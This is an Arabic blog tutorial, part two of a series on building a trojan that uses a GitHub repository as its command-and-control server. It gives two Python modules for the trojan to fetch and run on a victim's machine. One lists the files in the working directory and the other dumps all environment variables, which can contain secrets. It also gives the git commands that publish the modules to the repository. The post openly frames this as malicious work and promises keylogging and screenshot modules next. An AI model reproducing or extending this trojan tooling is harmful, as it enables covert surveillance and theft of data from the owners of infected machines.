موقع Github القيادة والسيطرة (الجزء الثاني) إنشاء الوحدات

في الأجزاء القادمة من هذه السلسلة سنكون قادرين على القيام بأعمال حقيرة مع أحصنة طراودة التي قمنا بإنشاءها مثل تسجيل ضربات لوحة المفاتيح ، إلتقاط صور للشاشة وقبل كل هذا دعونا نقوم بإنشاء بعض الوحدات البسيطة التي يمكننا تجربتها ونشرها بكل سهولة .

قم بفتح ملف جديد على دليل الوحدات وقم بتسميته ب dirlister.py وأكتب السطور التالية :


import os
def run(**args):
    print "[*] In dirlister module."
    files = os.listdir(".")
    return str(files)

السطور السابقة عبارة عن مقتطف صغير من الكود يقوم ببساطة عرض و تشغيل دالة تقوم بعرض جميع الملفات الموجودة في الدليل الحالي وطبعا على شكل سلسلة نصية ، وكل وحدة تقوم بتطويرها يجب ان تقوم بعرض وتشغيل دالة يكون لديها مدخلات على شكل متغيرات وهذا يسمح لك بتحميل كل وحدة بنفس الطريقة ويترك لك مساحة كافية حتى يمكنك تخصيص ملفات الإعدادات لتمرير المدخلات إلى الوحدة إذا أردت ذلك .

الأن سنقوم بإنشاء وحدة جديدة تحت إسم environment.py


import os
def run(**args):
    print "[*] In environment module."
    return str(os.environ)

تقوم هذه الوحدة بإستيراد اي متغير التي تم تعيينها على الجهاز المستهدف والذي تم تشغيل عليه حصان طراودة ، الأن دعونا نقوم برفع الكود على مستودع Github بحيث يكون قابل للإستخدام من قبل حصان طراودة .

قم بفتح الطرفية بحيث يكون المسار الذي قمنا بإنشاء من قبل وأكتب الأوامر التالية :


$ git add .
$ git commit -m "Adding new modules"
$ git push origin master
Username: ********
Password: ********</pre>
<pre>

يمكنك تسجيل الدخول على حسابك في موقع Github والتأكد من رفع الكود على المستودع الصحيح وهذه هي الطريقة الوحيدة التي سنتبعها في المستقبل من أجل تطوير الكود

أرجوا أن تقوم بدعمنا عبر نشرك والاعجاب بالموقع

3 من التعليقات على موضوع “موقع Github القيادة والسيطرة (الجزء الثاني) إنشاء الوحدات

  1. thank you في 20 يونيو، 2016 at 5:40 ص قال:

    نريـــــد المزيــــــــد

  2. هشام في 23 يونيو، 2016 at 12:56 م قال:

    شكرا جزيلا على الدروس القيمة ونريد منك المزيد

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

Post Navigation